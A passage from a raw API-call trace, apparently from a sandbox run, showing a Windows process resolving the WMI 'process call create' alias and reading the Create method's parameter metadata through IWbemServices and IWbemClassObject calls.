returned 0x3c [0155.123] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0155.123] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0155.123] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"Process\\\"") returned 0x26 [0155.124] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"Process\\\"") returned 0x79 [0155.124] SysStringLen (param_1="\"") returned 0x1 [0155.124] IWbemServices:GetObject (in: This=0x2e30c8, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"Process\\\"\"", lFlags=0, pCtx=0x0, ppObject=0xef790*=0x0, ppCallResult=0x0 | out: ppObject=0xef790*=0x317c30, ppCallResult=0x0) returned 0x0 [0155.127] IWbemClassObject:Get (in: This=0x317c30, wszName="Text", lFlags=0, pVal=0xef75c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef75c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f1f70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x2e5e38, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.127] SafeArrayGetLBound (in: psa=0x2f1f70, nDim=0x1, plLbound=0xef76c | out: plLbound=0xef76c) returned 0x0 [0155.127] SafeArrayGetUBound (in: psa=0x2f1f70, nDim=0x1, plUbound=0xef770 | out: plUbound=0xef770) returned 0x0 [0155.127] SafeArrayGetElement (in: psa=0x2f1f70, rgIndices=0xef788, pv=0xef774 | out: pv=0xef774) returned 0x0 [0155.127] SysStringLen (param_1="Process management. ") returned 0x14 [0155.127] IUnknown:Release (This=0x317c30) returned 0x0 [0155.127] ??1CHString@@QAE@XZ () returned 0x1 [0155.127] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.128] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.128] lstrlenW (lpString="Process management. ") returned 20 [0155.128] lstrlenW (lpString="Process management. ") returned 20 [0155.128] IUnknown:Release (This=0x316c90) returned 0x0 [0155.128] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.128] lstrlenW (lpString="PATH") returned 4 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="PATH", cchCount2=4) returned 1 [0155.128] lstrlenW (lpString="WHERE") returned 5 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="WHERE", cchCount2=5) returned 1 [0155.128] lstrlenW (lpString="(") returned 1 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="(", cchCount2=1) returned 3 [0155.128] lstrlenW (lpString="/") returned 1 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0155.128] lstrlenW (lpString="-") returned 1 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0155.128] lstrlenW (lpString="GET") returned 3 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0155.128] lstrlenW (lpString="LIST") returned 4 [0155.128] lstrlenW (lpString="call") returned 4 [0155.128] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0155.128] lstrlenW (lpString="SET") returned 3 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0155.129] lstrlenW (lpString="CREATE") returned 6 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0155.129] lstrlenW (lpString="CALL") returned 4 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0155.129] lstrlenW (lpString="/") returned 1 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0155.129] lstrlenW (lpString="-") returned 1 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] lstrlenW (lpString="GET") returned 3 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0155.129] lstrlenW (lpString="LIST") returned 4 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0155.129] lstrlenW (lpString="SET") returned 3 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0155.129] lstrlenW (lpString="CREATE") returned 6 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0155.129] lstrlenW (lpString="CALL") returned 4 [0155.129] lstrlenW (lpString="call") returned 4 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0155.129] lstrlenW (lpString="/") returned 1 [0155.129] lstrlenW (lpString="create") returned 6 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="create", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0155.129] lstrlenW (lpString="-") returned 1 [0155.129] lstrlenW (lpString="create") returned 6 [0155.129] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="create", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0155.129] lstrlenW (lpString="create") returned 6 [0155.129] lstrlenW (lpString="create") returned 6 [0155.129] GetCurrentThreadId () returned 0x134 [0155.130] ??0CHString@@QAE@XZ () returned 0xef034 [0155.130] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0155.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc81478, cbMultiByte=-1, lpWideCharStr=0x448c18, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0155.130] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0155.130] SysStringLen (param_1="process") returned 0x7 [0155.130] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='process") returned 0x23 [0155.130] SysStringLen (param_1="'") returned 0x1 [0155.130] IWbemServices:GetObject (in: This=0x2e3668, strObjectPath="MSFT_CliAlias.FriendlyName='process'", lFlags=0, pCtx=0x0, ppObject=0xef010*=0x0, ppCallResult=0x0 | out: ppObject=0xef010*=0x316c90, ppCallResult=0x0) returned 0x0 [0155.136] lstrlenW (lpString="CALL") returned 4 [0155.136] lstrlenW (lpString="call") returned 4 [0155.136] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0155.136] IWbemClassObject:Get (in: This=0x316c90, wszName="Verbs", lFlags=0, pVal=0xeefc8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeefc8*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f2360*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x2e4120, rgsabound=((cElements=0x6, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.137] SafeArrayGetLBound (in: psa=0x2f2360, nDim=0x1, plLbound=0xeefd8 | out: plLbound=0xeefd8) returned 0x0 [0155.137] SafeArrayGetUBound (in: psa=0x2f2360, nDim=0x1, plUbound=0xeefe0 | out: plUbound=0xeefe0) returned 0x0 [0155.137] SafeArrayGetElement (in: psa=0x2f2360, rgIndices=0xeefe8, pv=0xef01c | out: pv=0xef01c) returned 0x0 [0155.137] IWbemClassObject:Get (in: This=0x31a640, wszName="Name", lFlags=0, pVal=0xeefb8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeefb8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Create", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.137] lstrlenW (lpString="Create") returned 6 [0155.137] lstrlenW (lpString="create") returned 6 [0155.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="create", cchCount1=6, lpString2="Create", cchCount2=6) returned 2 [0155.137] GetCurrentThreadId () returned 0x134 [0155.137] ??0CHString@@QAE@XZ () returned 0xeee34 [0155.137] IWbemClassObject:Get (in: This=0x31a640, wszName="Description", lFlags=0, pVal=0xeee04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeee04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="The Create method creates a new process. It returns an integer value of 0 if the process was successfully created, and any other number to indicate an error.", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.138] IWbemClassObject:Get (in: This=0x31a640, wszName="Parameters", lFlags=0, pVal=0xeefa8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeefa8*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f22d0*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x3170e0, rgsabound=((cElements=0x4, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] IWbemClassObject:Get (in: This=0x31a640, wszName="VerbType", lFlags=0, pVal=0xeef40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef40*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] IWbemClassObject:Get (in: This=0x31a640, wszName="Derivation", lFlags=0, pVal=0xeef28*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef28*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Create", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] lstrlenW (lpString="Create") returned 6 [0155.138] lstrlenW (lpString="Create") returned 6 [0155.138] SafeArrayGetLBound (in: psa=0x2f22d0, nDim=0x1, plLbound=0xeefdc | out: plLbound=0xeefdc) returned 0x0 [0155.138] SafeArrayGetUBound (in: psa=0x2f22d0, nDim=0x1, plUbound=0xeeff8 | out: plUbound=0xeeff8) returned 0x0 [0155.138] SafeArrayGetElement (in: psa=0x2f22d0, rgIndices=0xeeffc, pv=0xef008 | out: pv=0xef008) returned 0x0 [0155.138] IWbemClassObject:Get (in: This=0x323678, wszName="ParaId", lFlags=0, pVal=0xeef58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CommandLine", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] IWbemClassObject:Get (in: This=0x323678, wszName="Type", lFlags=0, pVal=0xeeef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeeef0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="STRING", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] IWbemClassObject:Get (in: This=0x323678, wszName="Default", lFlags=0, pVal=0xeef10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef10*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.138] GetCurrentThreadId () returned 0x134 [0155.138] ??0CHString@@QAE@XZ () returned 0xeee44 [0155.139] IWbemClassObject:Get (in: This=0x323678, wszName="Qualifiers", lFlags=0, pVal=0xeedcc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedcc*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f21e0*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x2e5e38, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.139] SafeArrayGetLBound (in: psa=0x2f21e0, nDim=0x1, plLbound=0xeedfc | out: plLbound=0xeedfc) returned 0x0 [0155.139] SafeArrayGetUBound (in: psa=0x2f21e0, nDim=0x1, plUbound=0xeee10 | out: plUbound=0xeee10) returned 0x0 [0155.139] SafeArrayGetElement (in: psa=0x2f21e0, rgIndices=0xeee1c, pv=0xeee3c | out: pv=0xeee3c) returned 0x0 [0155.139] IWbemClassObject:Get (in: This=0x324fa0, wszName="Name", lFlags=0, pVal=0xeede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="In", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.139] IWbemClassObject:Get (in: This=0x324fa0, wszName="QualifierValue", lFlags=0, pVal=0xeedbc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedbc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f1f70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x2e5e48, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.139] SafeArrayGetLBound (in: psa=0x2f1f70, nDim=0x1, plLbound=0xeee00 | out: plLbound=0xeee00) returned 0x0 [0155.139] SafeArrayGetUBound (in: psa=0x2f1f70, nDim=0x1, plUbound=0xeede0 | out: plUbound=0xeede0) returned 0x0 [0155.139] lstrlenW (lpString="CIMTYPE") returned 7 [0155.139] lstrlenW (lpString="In") returned 2 [0155.139] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0155.139] lstrlenW (lpString="read") returned 4 [0155.139] lstrlenW (lpString="In") returned 2 [0155.139] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0155.139] lstrlenW (lpString="write") returned 5 [0155.139] lstrlenW (lpString="In") returned 2 [0155.139] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0155.139] lstrlenW (lpString="In") returned 2 [0155.139] lstrlenW (lpString="In") returned 2 [0155.139] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0155.139] SafeArrayGetElement (in: psa=0x2f1f70, rgIndices=0xeee28, pv=0xeee30 | out: pv=0xeee30) returned 0x0 [0155.139] lstrlenW (lpString="true") returned 4 [0155.139] lstrlenW (lpString="True") returned 4 [0155.139] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0155.139] IUnknown:Release (This=0x324fa0) returned 0x1 [0155.139] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.140] IUnknown:Release (This=0x323678) returned 0x1 [0155.140] SafeArrayGetElement (in: psa=0x2f22d0, rgIndices=0xeeffc, pv=0xef008 | out: pv=0xef008) returned 0x0 [0155.140] IWbemClassObject:Get (in: This=0x323f70, wszName="ParaId", lFlags=0, pVal=0xeef58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea524, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentDirectory", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.140] IWbemClassObject:Get (in: This=0x323f70, wszName="Type", lFlags=0, pVal=0xeeef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea2cc, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeeef0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="STRING", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.140] IWbemClassObject:Get (in: This=0x323f70, wszName="Default", lFlags=0, pVal=0xeef10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef10*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.140] GetCurrentThreadId () returned 0x134 [0155.140] ??0CHString@@QAE@XZ () returned 0xeee44 [0155.140] IWbemClassObject:Get (in: This=0x323f70, wszName="Qualifiers", lFlags=0, pVal=0xeedcc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedcc*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f1fa0*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x2e5d78, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.140] SafeArrayGetLBound (in: psa=0x2f1fa0, nDim=0x1, plLbound=0xeedfc | out: plLbound=0xeedfc) returned 0x0 [0155.140] SafeArrayGetUBound (in: psa=0x2f1fa0, nDim=0x1, plUbound=0xeee10 | out: plUbound=0xeee10) returned 0x0 [0155.140] SafeArrayGetElement (in: psa=0x2f1fa0, rgIndices=0xeee1c, pv=0xeee3c | out: pv=0xeee3c) returned 0x0 [0155.140] IWbemClassObject:Get (in: This=0x324fa0, wszName="Name", lFlags=0, pVal=0xeede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="In", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.140] IWbemClassObject:Get (in: This=0x324fa0, wszName="QualifierValue", lFlags=0, pVal=0xeedbc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedbc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f1f70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x2e5d88, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.140] SafeArrayGetLBound (in: psa=0x2f1f70, nDim=0x1, plLbound=0xeee00 | out: plLbound=0xeee00) returned 0x0 [0155.140] SafeArrayGetUBound (in: psa=0x2f1f70, nDim=0x1, plUbound=0xeede0 | out: plUbound=0xeede0) returned 0x0 [0155.140] lstrlenW (lpString="CIMTYPE") returned 7 [0155.140] lstrlenW (lpString="In") returned 2 [0155.140] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0155.141] lstrlenW (lpString="read") returned 4 [0155.141] lstrlenW (lpString="In") returned 2 [0155.141] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0155.141] lstrlenW (lpString="write") returned 5 [0155.141] lstrlenW (lpString="In") returned 2 [0155.141] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0155.141] lstrlenW (lpString="In") returned 2 [0155.141] lstrlenW (lpString="In") returned 2 [0155.141] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0155.141] SafeArrayGetElement (in: psa=0x2f1f70, rgIndices=0xeee28, pv=0xeee30 | out: pv=0xeee30) returned 0x0 [0155.141] lstrlenW (lpString="true") returned 4 [0155.141] lstrlenW (lpString="True") returned 4 [0155.141] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0155.141] IUnknown:Release (This=0x324fa0) returned 0x1 [0155.141] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.141] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0155.141] SysStringLen (param_1="CommandLine") returned 0xb [0155.141] SysStringLen (param_1="CommandLine") returned 0xb [0155.141] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0155.141] IUnknown:Release (This=0x323f70) returned 0x1 [0155.141] SafeArrayGetElement (in: psa=0x2f22d0, rgIndices=0xeeffc, pv=0xef008 | out: pv=0xef008) returned 0x0 [0155.141] IWbemClassObject:Get (in: This=0x324640, wszName="ParaId", lFlags=0, pVal=0xeef58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e7534, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessStartupInformation", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.141] IWbemClassObject:Get (in: This=0x324640, wszName="Type", lFlags=0, pVal=0xeeef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea2cc, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeeef0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="OBJECT", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.141] IWbemClassObject:Get (in: This=0x324640, wszName="Default", lFlags=0, pVal=0xeef10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef10*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.141] GetCurrentThreadId () returned 0x134 [0155.141] ??0CHString@@QAE@XZ () returned 0xeee44 [0155.141] IWbemClassObject:Get (in: This=0x324640, wszName="Qualifiers", lFlags=0, pVal=0xeedcc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedcc*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f2240*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x2e5e38, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.142] SafeArrayGetLBound (in: psa=0x2f2240, nDim=0x1, plLbound=0xeedfc | out: plLbound=0xeedfc) returned 0x0 [0155.142] SafeArrayGetUBound (in: psa=0x2f2240, nDim=0x1, plUbound=0xeee10 | out: plUbound=0xeee10) returned 0x0 [0155.142] SafeArrayGetElement (in: psa=0x2f2240, rgIndices=0xeee1c, pv=0xeee3c | out: pv=0xeee3c) returned 0x0 [0155.142] IWbemClassObject:Get (in: This=0x324fa0, wszName="Name", lFlags=0, pVal=0xeede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="In", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.142] IWbemClassObject:Get (in: This=0x324fa0, wszName="QualifierValue", lFlags=0, pVal=0xeedbc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedbc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f1fa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x2e5e48, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.142] SafeArrayGetLBound (in: psa=0x2f1fa0, nDim=0x1, plLbound=0xeee00 | out: plLbound=0xeee00) returned 0x0 [0155.142] SafeArrayGetUBound (in: psa=0x2f1fa0, nDim=0x1, plUbound=0xeede0 | out: plUbound=0xeede0) returned 0x0 [0155.142] lstrlenW (lpString="CIMTYPE") returned 7 [0155.142] lstrlenW (lpString="In") returned 2 [0155.142] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0155.142] lstrlenW (lpString="read") returned 4 [0155.142] lstrlenW (lpString="In") returned 2 [0155.142] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0155.142] lstrlenW (lpString="write") returned 5 [0155.142] lstrlenW (lpString="In") returned 2 [0155.142] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0155.142] lstrlenW (lpString="In") returned 2 [0155.142] lstrlenW (lpString="In") returned 2 [0155.142] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0155.142] SafeArrayGetElement (in: psa=0x2f1fa0, rgIndices=0xeee28, pv=0xeee30 | out: pv=0xeee30) returned 0x0 [0155.142] lstrlenW (lpString="true") returned 4 [0155.142] lstrlenW (lpString="True") returned 4 [0155.142] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0155.142] IUnknown:Release (This=0x324fa0) returned 0x1 [0155.142] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.142] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0155.142] SysStringLen (param_1="CommandLine") returned 0xb [0155.142] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0155.142] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0155.142] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0155.142] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0155.142] IUnknown:Release (This=0x324640) returned 0x1 [0155.142] SafeArrayGetElement (in: psa=0x2f22d0, rgIndices=0xeeffc, pv=0xef008 | out: pv=0xef008) returned 0x0 [0155.142] IWbemClassObject:Get (in: 